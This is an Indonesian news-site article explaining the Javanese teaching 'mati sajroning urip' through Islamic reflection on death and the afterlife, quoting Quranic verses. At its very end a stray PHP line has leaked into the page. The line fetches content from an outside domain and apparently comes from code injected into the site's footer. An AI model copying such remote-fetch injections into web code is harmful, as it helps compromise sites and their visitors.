“Ojo Mati sakdurunge Nglakoni Urip sajroning pati

Jumat, 7 Juli 2023

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Penyusun : Supriyanto /Ilyas Ketua Umum (Pendiri) Pondok Pesantren Raja Muhammad Hafidz Yayasan Generasi Muda Indonesia Cerdas Demokrasi (Gemindo) Nomor AHU : 00111013.AH.01.04 Tahun 2020.

Mati sajroning urip, Urip sajroning pati adalah salah satu ajaran dalam filsafat Jawa. Ungkapan ini dalam bahasa Indonesia bermakna mati dalam hidup, hidup dalam mati. Ajaran ini mengajak manusia untuk mengesampingkan kenikmatan duniawi dan hawa nafsu dan mengutamakan kepentingan yang bersifat rohani atau jiwa. Kenikmatan duniawi di sini termasuk makanan dan minuman, tidur, kesenangan, kepentingan diri, kepemilikan, atau perbuatan yang merugikan orang lain.

Nah’ Hal-hal tersebut adalah ego yang harus dimatikan agar dapat mencapai kebahagiaan dan ketentraman sejati.

Didalam pandangan Islam, Muslim dapat menafsirkan mati sajroning urip sebagai upaya untuk mendapatkan kehidupan yang bahagia di akhirat kelak.

Baca Juga:  Perkataan yang Menyakitkan, Seperti Paku yang Menancap di Papan "Kelak Akan Ada Yaumul Hisab"

Seseorang harus senantiasa mengingat kematian, bahwa dirinya suatu saat nanti akan mati. Seseorang juga harus mengorbankan kesenangan duniawinya untuk beramal saleh agar mendapatkan pahala yang akan mengantar orang tersebut mendapatkan ganjaran surga.

Kematian adalah sebuah jembatan yang menghubungkan dua kehidupan, yaitu kehidupan dunia dan akhirat. Dunia adalah tempat kita menanam bekal menuju kehidupan yang kekal nan abadi, apa yang akan kita panen di akhirat merupakan hasil dari apa yang kita tanam di dunia.

Dalam sebuah firman-Nya, Allah subhanahu wata’ala menegaskan: “Barang siapa yang mengharapkan bertemu Tuhannya maka hendaklah melakukan amal shalih dan janganlah menyekutukan ibadah terhadap Tuhannya dengan suatu apapun.” (QS al-Kahfi: 110).

Kematian adalah ketetapan bagi setiap makhluk-Nya yang memiliki ruh, sekalipun makhluk yang paling mulia yaitu para nabi dan rasul, Mereka pun menemui ajal yang telah Allah l tentukan. Allah memberitakan kepastian itu dalam firman-Nya:

Baca Juga:  Selamat Hari Kesaktian Pancasila 1 Oktober 2022 ke-57 Tahun

Kematian merupakan sebuah kepastian, namun Tiada yang Mengetahui masalah Ghaib Kematian ini kecuali Sang pemilik Jiwa, Tiada Manusiapun yang pernah tahu kapan dan bagaimana dia akan berpulang keharibaanNya.

“Di manapun kamu berada, kematian akan mendapatkan kamu, kendatipun kamu berada di dalam benteng yang tinggi dan kukuh. Jika mereka memperoleh kebaikan, mereka mengatakan, Ini dari sisi Allah, dan jika mereka ditimpa suatu keburukan mereka mengatakan, Ini dari engkau (Muhammad). Katakanlah, Semuanya (datang) dari sisi Allah. Maka mengapa orang-orang itu (orang-orang munafik) hampir-hampir tidak memahami pembicaraan (sedikit pun)?”(QS. An-Nisa’ 4: Ayat 78)

Kematian pasti datang, walaupun bersembunyi dalam benteng yang tinggi dan kukuh.

Baca Juga:  Selamat hari raya idul fitri 1442 H Tahun 2021 Masehi

Supriyanto/ ilyas Pendiri Pondok Pesantren Raja Muhammad Hafidz Yayasan Generasi Muda Indonesia Cerdas Demokrasi (Gemindo) : Ojo Mati Mati disek Nek Ruh mu belum ketemu tuhan (Allah SWT). Meski kita berada di Zona Innalilahi, harapnya kita beriman di Zona Wainnailaihi Rojiun netepi iman kepada Allah SWT, melakukan perbuatan yang di perintahkan oleh Allah’ termasuk Berzdikir supaya Ruh dapat bertemu Allah SWT.

Innalillahi Wainnailaihi Rojiun
Artinya: “Sesungguhnya kami milik Allah dan kepada-Nya lah kami kembali. Dan sesungguhnya kepada Tuhan kamilah kami kembali. Ya Allah, tuliskanlah ia di sisi-Mu termasuk golongan orang-orang yang baik. Jadikanlah catatannya di ‘illiyyin.

Artina Zona Innalillahi adalah Alam semesta beserta seluruh isinya merupakan Ciptaan Allah, dan Wainnailaihi Rojiun, sesungguhnya kepada Allah seluruh ciptaannya akan kembali.

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Pringsewu Panen Perdana Padi Metode TOT, Hemat Biaya dan Waktu Tanam
Peredaran Obat Terlarang ( Tramadol / Eximer )
Agus Flores Minta 7 Tambang Ilegal di Indonesia, Ditutup, APH Diminta Tegas
Polsek Setia Bakti Lakukan Patroli Sambang Kamtibmas
Hari Kiamat yang dapat menolong hanyalah amal dan ibadah diri sendiri
Penasaran Cara Isi Bahan Bakar Kereta? KAI Bongkar Rahasianya
Umat Muslim di Surabaya Berharap Mendapatkan Keberkahan Lailatul Qodar
Kewajiban Laki-laki Terhadap Ibunya dalam Islam

Berita Terkait

Senin, 9 September 2024 - 20:36 WIB

Pringsewu Panen Perdana Padi Metode TOT, Hemat Biaya dan Waktu Tanam

Minggu, 16 Juni 2024 - 12:47 WIB

Peredaran Obat Terlarang ( Tramadol / Eximer )

Sabtu, 25 Mei 2024 - 08:12 WIB

Agus Flores Minta 7 Tambang Ilegal di Indonesia, Ditutup, APH Diminta Tegas

Kamis, 16 Mei 2024 - 13:31 WIB

Polsek Setia Bakti Lakukan Patroli Sambang Kamtibmas

Minggu, 12 Mei 2024 - 15:56 WIB

Hari Kiamat yang dapat menolong hanyalah amal dan ibadah diri sendiri

Berita Terbaru

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>